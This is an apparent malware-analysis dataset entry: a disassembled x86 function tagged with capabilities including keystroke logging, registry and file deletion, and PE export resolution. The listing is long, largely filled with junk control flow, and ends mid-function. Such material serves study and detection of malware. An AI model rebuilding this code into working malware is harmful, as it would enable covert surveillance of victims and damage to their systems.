Function at 0x1004566f
Capabilities:
Delete file
Delete registry key
Delete registry value
Log keystrokes
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100718f1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1110
call fcn.1006c0b0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x35c], 0xdad816f9
mov dword [ebp - 0xf98], 4
mov dword [ebp - 0xe80], 0xffffffff
mov dword [ebp - 0xa4], 0
jmp 0x100456cf
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 2
jge 0x100456eb
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x3d0], 0xffffffff
jmp 0x100456c2
mov dword [ebp - 0xa4], 0
jmp 0x10045704
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 1
jge 0x10045720
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0xa68], 0xfffffffa
jmp 0x100456f7
mov byte [ebp - 0x12f], 0
movzx eax, byte [ebp - 0x12f]
test eax, eax
je 0x1004573f
push 0
push 0x83
call dword [sym.imp.GDI32.dll_SetBkColor]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x3d0], 0
jmp 0x1004576d
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3d0]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x3d0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3d0], 1
jle 0x10045ac2
mov dword [ebp - 0x364], 5
mov dword [ebp - 0x9c0], 0x270
mov dword [ebp - 0x36c], 0xfffffff8
mov dword [ebp - 0x380], 0xc1d99ea5
mov dword [ebp - 0x96c], 0x68dacb31
mov dword [ebp - 0xa78], 1
mov eax, 0xef6e229e
test eax, eax
je 0x10045836
cmp dword [ebp - 0x9c0], 0
jne 0x100457e0
xor eax, eax
inc eax
je 0x100457e0
mov dword [ebp - 0xa4c], 1
jmp 0x100457e7
and dword [ebp - 0xa4c], 0
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0x35c], eax
mov eax, dword [ebp - 0x35c]
mov dword [ebp - 0xf64], eax
mov eax, dword [ebp - 0x35c]
mov dword [ebp - 0xe88], eax
mov eax, dword [ebp - 0x9c0]
mov dword [ebp - 0xfa4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3d0], 0xf7d9
jle 0x10045836
mov dword [ebp - 0x934], 1
jmp 0x1004583d
and dword [ebp - 0x934], 0
mov eax, dword [ebp - 0x934]
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0
cmp dword [ebp - 0x380], 0xabf7c2f5
jne 0x10045868
mov dword [ebp - 0x93c], 1
jmp 0x1004586f
and dword [ebp - 0x93c], 0
mov eax, dword [ebp - 0x93c]
add eax, 3
cmp eax, 0xffffffff
jne 0x10045889
mov dword [ebp - 0x944], 1
jmp 0x10045890
and dword [ebp - 0x944], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3d0]
cmp eax, dword [ebp - 0x944]
jg 0x100458b1
mov dword [ebp - 0x964], 1
jmp 0x100458b8
and dword [ebp - 0x964], 0
mov eax, dword [ebp - 0x964]
mov dword [ebp - 0x96c], eax
mov eax, dword [ebp - 0x96c]
add eax, dword [ebp - 0x364]
cmp dword [ebp - 0x364], eax
jge 0x100458e4
mov dword [ebp - 0x974], 1
jmp 0x100458eb
and dword [ebp - 0x974], 0
mov eax, dword [ebp - 0x380]
cmp dword [ebp - 0x974], eax
jg 0x10045905
mov dword [ebp - 0x97c], 1
jmp 0x1004590c
and dword [ebp - 0x97c], 0
mov eax, dword [ebp - 0x380]
imul eax, dword [ebp - 0x97c]
test eax, eax
je 0x10045930
cmp dword [ebp - 0x35c], 0
je 0x1004592b
jmp 0x10045ac2
jmp 0x10045abd
push 3
lea ecx, [ebp - 0xdb8]
call fcn.1001795c
and dword [ebp - 4], 0
mov dword [ebp - 0x984], 0xb5cf6354
push 3
lea ecx, [ebp - 0xc70]
call fcn.1001795c
mov byte [ebp - 4], 1
mov dword [ebp - 0x8c], 0
jmp 0x10045975
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jge 0x10045997
push dword [ebp - 0x8c]
lea ecx, [ebp - 0xdb8]
call fcn.100179fa
mov dword [eax], 0x6f0d4a7c
jmp 0x10045968
mov dword [ebp - 0x8c], 0
jmp 0x100459b0
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jge 0x100459d2
push dword [ebp - 0x8c]
lea ecx, [ebp - 0xc70]
call fcn.100179fa
mov dword [eax], 0xb68169b2
jmp 0x100459a3
mov dword [ebp - 0x984], 0xb603
mov eax, dword [ebp - 0x984]
mov dword [ebp - 0x98c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x98c]
mov dword [ebp + eax - 0xa68], ecx
push 0
lea ecx, [ebp - 0xdb8]
call fcn.100179fa
xor ecx, ecx
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0x98c]
jle 0x10045a20
mov dword [ebp - 0xa70], 1
jmp 0x10045a27
and dword [ebp - 0xa70], 0
push 2
lea ecx, [ebp - 0xc70]
call fcn.100179fa
mov eax, dword [ebp - 0xa78]
mov dword [ebp - 0xe90], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3d0]
mov dword [ebp - 0xf6c], eax
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0xe98], eax
mov eax, 0xdebf
cmp eax, 0xa95a
jle 0x10045a77
mov dword [ebp - 0x994], 1
jmp 0x10045a7e
and dword [ebp - 0x994], 0
mov eax, dword [ebp - 0x994]
mov dword [ebp - 0x36c], eax
push 2
lea ecx, [ebp - 0xc70]
call fcn.100179fa
mov eax, dword [eax]
mov dword [ebp - 0x36c], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xc70]
call fcn.100179de
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdb8]
call fcn.100179de
jmp 0x10045752
cmp dword [ebp + 0x10], 0
jbe 0x10045e31
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10045e31
push 2
lea ecx, [ebp - 0xca0]
call fcn.1001795c
mov dword [ebp - 4], 2
mov dword [ebp - 0x1c4], 0xfffffffd
mov dword [ebp - 0x2c8], 0
jmp 0x10045b0f
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 2
jge 0x10045b31
push dword [ebp - 0x2c8]
lea ecx, [ebp - 0xca0]
call fcn.100179fa
mov dword [eax], 0x342eb90d
jmp 0x10045b02
mov dword [ebp - 0x1c4], 0
jmp 0x10045b4a
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 1
jg 0x10045e0e
mov dword [ebp - 0x248], 0x2eac4530
mov dword [ebp - 0x250], 0x65835a7
mov byte [ebp - 0x138], 0
movzx eax, byte [ebp - 0x138]
test eax, eax
je 0x10045b85
push 0
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
mov dword [ebp - 0x248], 0
jmp 0x10045b9e
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 1
jg 0x10045e09
mov dword [ebp - 0x2d4], 0x8cccddd
mov byte [ebp - 0x125], 0
movzx eax, byte [ebp - 0x125]
test eax, eax
je 0x10045bd2
push 0x126a
call dword [sym.imp.USER32.dll_GetSysColor]
mov dword [ebp - 0x2d4], 1
jmp 0x10045beb
mov eax, dword [ebp - 0x2d4]
dec eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0
jl 0x10045e04
mov dword [ebp - 0xc0], 0xffffffff
mov dword [ebp - 0xa80], 0
mov byte [ebp - 0x13a], 0
movzx eax, byte [ebp - 0x13a]
test eax, eax
je 0x10045c30
push 0xa8b
push 0x1235
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov dword [ebp - 0xc0], 1
jmp 0x10045c49
mov eax, dword [ebp - 0xc0]
dec eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jl 0x10045dff
mov dword [ebp - 0x190], 0xffffffff
mov dword [ebp - 0x190], 0
jmp 0x10045c79
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 1
jg 0x10045dfa
mov dword [ebp - 0xb3c], 1
cmp dword [ebp - 0xc0], 0xf928
jl 0x10045ca8
mov dword [ebp - 0x99c], 1
jmp 0x10045caf
and dword [ebp - 0x99c], 0
mov eax, dword [ebp - 0x99c]
mov dword [ebp - 0xa80], eax
cmp dword [ebp - 0x190], 0xfffffff8
jg 0x10045cd0
mov dword [ebp - 0x9d4], 1
jmp 0x10045cd7
and dword [ebp - 0x9d4], 0
mov eax, dword [ebp - 0x9d4]
sub eax, 0x628eaf60
je 0x10045cf9
cmp dword [ebp - 0xc0], 0
je 0x10045cf9
mov dword [ebp - 0x508], 1
jmp 0x10045d00
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x1c4]
cmp dword [ebp - 0x508], eax
jne 0x10045d1a
mov dword [ebp - 0x864], 1
jmp 0x10045d21
and dword [ebp - 0x864], 0
mov eax, dword [ebp - 0x864]
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0
jne 0x10045d48
cmp dword [ebp - 0x250], 0
jne 0x10045d48
and dword [ebp - 0x448], 0
jmp 0x10045d52
mov dword [ebp - 0x448], 1
cmp dword [ebp - 0x448], 0xfffffff7
jne 0x10045d67
mov dword [ebp - 0xa88], 1
jmp 0x10045d6e
and dword [ebp - 0xa88], 0
cmp dword [ebp - 0x250], 0x3a72
jg 0x10045d86
mov dword [ebp - 0x86c], 1
jmp 0x10045d8d
and dword [ebp - 0x86c], 0
push dword [ebp - 0xc0]
lea ecx, [ebp - 0xca0]
call fcn.100179fa
mov ecx, dword [ebp - 0x86c]
cmp ecx, dword [eax]
jne 0x10045db4
mov dword [ebp - 0x450], 1
jmp 0x10045dbb
and dword [ebp - 0x450], 0
push dword [ebp - 0xc0]
lea ecx, [ebp - 0xca0]
call fcn.100179fa
mov eax, dword [eax]
cmp eax, dword [ebp - 0x450]
jne 0x10045de2
mov dword [ebp - 0x874], 1
jmp 0x10045de9
and dword [ebp - 0x874], 0
mov eax, dword [ebp - 0x874]
mov dword [ebp - 0xb3c], eax
jmp 0x10045c6c
jmp 0x10045c3c
jmp 0x10045bde
jmp 0x10045b91
jmp 0x10045b3d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xca0]
call fcn.100179de
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.10040659
pop ecx
pop ecx
jmp 0x1004d9b1
push 1
lea ecx, [ebp - 0xd7c]
call fcn.1001795c
mov dword [ebp - 4], 3
mov dword [ebp - 0x2e4], 0x4bc662a2
mov dword [ebp - 0xac], 0
jmp 0x10045e68
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 1
jge 0x10045e84
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0x2dc], 3
jmp 0x10045e5b
mov dword [ebp - 0xac], 0
jmp 0x10045e9d
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 1
jge 0x10045ebf
push dword [ebp - 0xac]
lea ecx, [ebp - 0xd7c]
call fcn.100179fa
mov dword [eax], 0x849f845
jmp 0x10045e90
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2dc], 0
jmp 0x10045eed
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2dc]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2dc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2dc], 0x1c
jg 0x10045f5b
mov dword [ebp - 0x258], 0
jmp 0x10045f16
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 1
jge 0x10045f32
mov eax, dword [ebp - 0x258]
mov dword [ebp + eax*4 - 0xb44], 0xfffffffa
jmp 0x10045f09
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xb44], 6
push 0
lea ecx, [ebp - 0xd7c]
call fcn.100179fa
mov dword [eax], 6
jmp 0x10045ed2
mov dword [ebp - 0x2e4], 0
jmp 0x10045f74
mov eax, dword [ebp - 0x2e4]
dec eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0xfffffff1
jg 0x10045f9c
mov byte [ebp - 0x12d], 0
movzx eax, byte [ebp - 0x12d]
test eax, eax
je 0x10045f9a
push 0x11fd
call dword [sym.imp.USER32.dll_DrawMenuBar]
jmp 0x10045f67
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd7c]
call fcn.100179de
cmp dword [ebp + 0x10], 0
jne 0x1004abdc
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1003bdf8
mov dword [ebp - 0x2ac], eax
mov dword [ebp - 0x14], 4
push 1
lea ecx, [ebp - 0xc7c]
call fcn.1001795c
mov dword [ebp - 4], 4
mov dword [ebp - 0x88c], 1
mov dword [ebp - 0xb64], 0x4fa3fda3
mov dword [ebp - 0xebc], 0xfff7
mov dword [ebp - 0x260], 0
jmp 0x10046018
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 1
jge 0x1004603a
push dword [ebp - 0x260]
lea ecx, [ebp - 0xc7c]
call fcn.100179fa
mov dword [eax], 0xe2f7c629
jmp 0x1004600b
mov dword [ebp - 0x14], 0
jmp 0x1004604a
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xfffffff4
jge 0x1004607b
mov byte [ebp - 0x13c], 0
movzx eax, byte [ebp - 0x13c]
test eax, eax
je 0x10046079
push 0x1f39
push 0
push 0x7c2
push 0xf22
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
jmp 0x10046043
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jl 0x1004608f
mov dword [ebp - 0xb4c], 1
jmp 0x10046096
and dword [ebp - 0xb4c], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jle 0x100460aa
mov dword [ebp - 0x458], 1
jmp 0x100460b1
and dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x458], eax
je 0x100460c8
mov dword [ebp - 0x87c], 1
jmp 0x100460cf
and dword [ebp - 0x87c], 0
mov eax, dword [ebp - 0x87c]
sub eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jne 0x100460e9
mov dword [ebp - 0xb54], 1
jmp 0x100460f0
and dword [ebp - 0xb54], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xea0], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x460], eax
push 0
lea ecx, [ebp - 0xc7c]
call fcn.100179fa
mov ecx, dword [ebp - 0x460]
mov dword [eax], ecx
cmp dword [ebp - 0x460], 0xd7c869b7
jbe 0x10046135
cmp dword [ebp - 0x88c], 0
jne 0x10046135
and dword [ebp - 0x884], 0
jmp 0x1004613f
mov dword [ebp - 0x884], 1
mov eax, dword [ebp - 0x884]
sub eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jge 0x10046159
mov dword [ebp - 0x468], 1
jmp 0x10046160
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x468]
sub eax, 0xa
jne 0x10046186
push 0
lea ecx, [ebp - 0xc7c]
call fcn.100179fa
cmp dword [eax], 0
jne 0x10046186
and dword [ebp - 0xb5c], 0
jmp 0x10046190
mov dword [ebp - 0xb5c], 1
mov eax, dword [ebp - 0x88c]
mov dword [ebp - 0xec4], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xea8], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jle 0x100461b9
mov dword [ebp - 0x470], 1
jmp 0x100461c0
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x470], eax
jge 0x100461d7
mov dword [ebp - 0x894], 1
jmp 0x100461de
and dword [ebp - 0x894], 0
mov eax, dword [ebp - 0x894]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 7
jb 0x100461f9
mov dword [ebp - 0x478], 1
jmp 0x10046200
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0x478]
mov dword [ebp - 0xb64], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc7c]
call fcn.100179de
mov dword [ebp - 0x5c], 0xc3099cfe
mov dword [ebp - 0xb6c], 0xe1fc6578
mov dword [ebp - 0x498], 0x7d96711d
push 1
lea ecx, [ebp - 0xd94]
call fcn.1001795c
mov dword [ebp - 4], 5
mov dword [ebp - 0xb74], 0xfffffff7
mov dword [ebp - 0x38], 0
jmp 0x10046264
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x1004627a
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xd58], 8
jmp 0x1004625d
mov dword [ebp - 0x38], 0
jmp 0x1004628a
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x100462a0
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x1000], 0xffffffff
jmp 0x10046283
mov dword [ebp - 0x38], 0
jmp 0x100462b0
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x100462cc
push dword [ebp - 0x38]
lea ecx, [ebp - 0xd94]
call fcn.100179fa
mov dword [eax], 0xf7c2f5a2
jmp 0x100462a9
mov byte [ebp - 0x13e], 0
movzx eax, byte [ebp - 0x13e]
test eax, eax
je 0x100462f0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp dword [ebp - 0x5c], 0
jne 0x10046449
cmp dword [ebp - 0x5c], 0x9d08
jne 0x1004630f
mov dword [ebp - 0x89c], 1
jmp 0x10046316
and dword [ebp - 0x89c], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x89c], eax
jl 0x1004632d
mov dword [ebp - 0x480], 1
jmp 0x10046334
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x480], eax
je 0x1004634b
mov dword [ebp - 0x488], 1
jmp 0x10046352
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x8a4], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x8a4]
mov dword [ebp + eax - 0xd58], ecx
mov eax, dword [ebp - 0x8a4]
cmp eax, dword [ebp - 0x488]
jg 0x10046387
mov dword [ebp - 0x8ac], 1
jmp 0x1004638e
and dword [ebp - 0x8ac], 0
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x8ac]
jne 0x100463a5
mov dword [ebp - 0x490], 1
jmp 0x100463ac
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x490]
mov dword [ebp - 0xb6c], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x1000], 0
jne 0x100463d6
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xd58], 0
cmp dword [ebp - 0x5c], 0xad53
jge 0x100463eb
mov dword [ebp - 0x8b4], 1
jmp 0x100463f2
and dword [ebp - 0x8b4], 0
mov eax, dword [ebp - 0x8b4]
mov dword [ebp - 0x498], eax
mov eax, dword [ebp - 0x498]
mov dword [ebp - 0xecc], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xfd0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1000]
mov dword [ebp - 0xec8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd58]
add eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x5c]
imul ecx, eax
test ecx, ecx
jne 0x10046449
and dword [ebp - 0x8bc], 0
jmp 0x10046453
mov dword [ebp - 0x8bc], 1
cmp dword [ebp - 0x8bc], 1
jae 0x10046468
mov dword [ebp - 0x3e0], 1
jmp 0x1004646f
and dword [ebp - 0x3e0], 0
push 0
lea ecx, [ebp - 0xd94]
call fcn.100179fa
mov ecx, dword [ebp - 0x3e0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3e0]
mov dword [ebp - 0xb74], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd94]
call fcn.100179de
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x40], 1
jmp 0x100464b6
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 6
jne 0x1004672a
mov dword [ebp - 0xcc], 0xaaf5bfb6
mov dword [ebp - 0x198], 0x3b06d9e9
mov dword [ebp - 0xb84], 0x151d1a93
cmp dword [ebp - 0xcc], 0
jne 0x10046558
imul eax, dword [ebp - 0x40], 0
cmp eax, dword [ebp - 0x40]
je 0x100464fc
mov dword [ebp - 0x4a0], 1
jmp 0x10046503
and dword [ebp - 0x4a0], 0
cmp dword [ebp - 0x4a0], 0xfffffff7
jg 0x10046518
mov dword [ebp - 0x8c4], 1
jmp 0x1004651f
and dword [ebp - 0x8c4], 0
cmp dword [ebp - 0x8c4], 0xbe26
jl 0x10046537
mov dword [ebp - 0x4a8], 1
jmp 0x1004653e
and dword [ebp - 0x4a8], 0
cmp dword [ebp - 0x4a8], 0xfda6
jle 0x10046558
xor eax, eax
inc eax
jne 0x10046558
and dword [ebp - 0x8cc], 0
jmp 0x10046562
mov dword [ebp - 0x8cc], 1
cmp dword [ebp - 0x8cc], 3
je 0x10046577
mov dword [ebp - 0xb7c], 1
jmp 0x1004657e
and dword [ebp - 0xb7c], 0
cmp dword [ebp - 0x40], 0
jne 0x10046592
or eax, 0xffffffff
jne 0x10046592
and dword [ebp - 0x4b0], 0
jmp 0x1004659c
mov dword [ebp - 0x4b0], 1
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x198]
add eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0xcc]
test eax, eax
je 0x100465ce
cmp dword [ebp - 0x40], 0
je 0x100465ce
mov dword [ebp - 0x8d4], 1
jmp 0x100465d5
and dword [ebp - 0x8d4], 0
mov eax, dword [ebp - 0xcc]
cmp eax, dword [ebp - 0x8d4]
jge 0x100465ef
mov dword [ebp - 0x4b8], 1
jmp 0x100465f6
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x4b8], eax
jg 0x10046619
cmp dword [ebp - 0x198], 0
je 0x10046619
mov dword [ebp - 0x8dc], 1
jmp 0x10046620
and dword [ebp - 0x8dc], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x8dc], eax
jge 0x1004663a
mov dword [ebp - 0x4c0], 1
jmp 0x10046641
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0xcc]
add eax, dword [ebp - 0x4c0]
je 0x10046664
mov eax, 0x7b4d2c29
test eax, eax
je 0x10046664
mov dword [ebp - 0x8e4], 1
jmp 0x1004666b
and dword [ebp - 0x8e4], 0
mov eax, dword [ebp - 0x8e4]
dec eax
dec eax
cmp eax, 8
jle 0x10046681
cmp dword [ebp - 0x198], 0
je 0x1004668a
mov eax, 0x7a2e
test eax, eax
jne 0x1004669c
cmp dword [ebp - 0x198], 0
jne 0x1004669c
and dword [ebp - 0x4c8], 0
jmp 0x100466a6
mov dword [ebp - 0x4c8], 1
mov eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0x4c8]
cmp eax, dword [ebp - 0x40]
jl 0x100466c1
mov dword [ebp - 0x8ec], 1
jmp 0x100466c8
and dword [ebp - 0x8ec], 0
mov eax, dword [ebp - 0xcc]
imul eax, dword [ebp - 0x8ec]
cmp eax, dword [ebp - 0xcc]
je 0x100466e9
mov dword [ebp - 0x4d0], 1
jmp 0x100466f0
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x4d0]
jg 0x10046707
mov dword [ebp - 0x8f4], 1
jmp 0x1004670e
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x8f4]
mov dword [ebp - 0xb84], eax
cmp dword [ebp - 0x40], 0
je 0x10046725
jmp 0x100464af
jmp 0x100464af
cmp dword [0x109271f0], 0
jne 0x1004a8cc
mov dword [ebp - 0xb8c], 0x41b6
lea eax, [ebp - 0xb8c]
push eax
call fcn.10040631
pop ecx
mov dword [ebp - 0x778], eax
mov dword [ebp - 0x4d8], 0x315f
mov dword [ebp - 0xb9c], 0x10008bb8
cmp dword [ebp - 0x4d8], 0x3402
jle 0x10046882
and dword [ebp - 0x2f4], 0
jmp 0x1004678e
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0x19bf
jge 0x10046882
and dword [ebp - 0x270], 0
jmp 0x100467b4
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0x7d39
jge 0x1004687d
and dword [ebp - 0x2ec], 0
jmp 0x100467da
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x4688
jge 0x10046878
and dword [ebp - 0x268], 0
jmp 0x10046800
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x5855
jge 0x10046873
mov eax, dword [ebp - 0x2ec]
mov ecx, dword [ebp - 0x268]
sar eax, cl
mov ecx, dword [ebp - 0x2f4]
or ecx, dword [ebp - 0x270]
or eax, ecx
cdq
mov dword [ebp - 0xa94], eax
mov dword [ebp - 0xa90], edx
push dword [ebp - 0xa90]
push dword [ebp - 0xa94]
lea ecx, [ebp - 0x10b4]
call fcn.1000a64e
pop ecx
pop ecx
mov dword [ebp - 0xb94], eax
mov ecx, dword [ebp - 0xb94]
call fcn.10017622
push eax
call fcn.10058109
pop ecx
lea ecx, [ebp - 0x10b4]
call fcn.10017618
jmp 0x100467f3
jmp 0x100467cd
jmp 0x100467a7
jmp 0x10046781
mov dword [ebp - 0x2fc], 0xffffffff
mov dword [ebp - 0x2fc], 0
jmp 0x100468a5
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 5
jl 0x100468f4
mov byte [ebp - 0x137], 0
movzx eax, byte [ebp - 0x137]
test eax, eax
je 0x100468cf
push 0
push 0x2010
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
mov byte [ebp - 0xea], 0
movzx eax, byte [ebp - 0xea]
test eax, eax
je 0x100468f2
push 0x1f7c
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CombineRgn]
jmp 0x10046898
mov dword [ebp - 4], 6
cmp dword [ebp - 0x4d8], 0x2da3
jge 0x10046913
push dword [ebp - 0xb9c]
call fcn.10058109
pop ecx
jmp 0x1004692f
or dword [ebp - 4], 0xffffffff
jmp 0x10046939
mov dword [ebp - 0xf74], 0
push 1
lea ecx, [ebp - 0xa2c]
call fcn.1001795c
mov dword [ebp - 4], 8
push 3
lea ecx, [ebp - 0xbcc]
call fcn.1001795c
mov byte [ebp - 4], 9
mov dword [ebp - 0xcec], 1
mov dword [ebp - 0xce8], 1
mov dword [ebp - 0xce4], 1
mov dword [ebp - 0xce0], 1
mov dword [ebp - 0x94], 0
jmp 0x100469a9
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x100469cb
push dword [ebp - 0x94]
lea ecx, [ebp - 0xa2c]
call fcn.100179fa
mov dword [eax], 0x4f833fcb
jmp 0x1004699c
mov dword [ebp - 0x94], 0
jmp 0x100469e4
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jge 0x10046a06
push dword [ebp - 0x94]
lea ecx, [ebp - 0xbcc]
call fcn.100179fa
mov dword [eax], 0x4210e164
jmp 0x100469d7
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xcec]
inc eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0xcec], eax
push 0
lea ecx, [ebp - 0xbcc]
call fcn.100179fa
mov esi, eax
push 0
lea ecx, [ebp - 0xbcc]
call fcn.100179fa
mov eax, dword [eax]
cmp eax, dword [esi]
jne 0x10046a55
mov eax, 0xc9f196e6
test eax, eax
jne 0x10046a55
and dword [ebp - 0x8fc], 0
jmp 0x10046a5f
mov dword [ebp - 0x8fc], 1
cmp dword [ebp - 0x8fc], 0xffffffff
je 0x10046a74
mov dword [ebp - 0x4e0], 1
jmp 0x10046a7b
and dword [ebp - 0x4e0], 0
push 0
lea ecx, [ebp - 0xa2c]
call fcn.100179fa
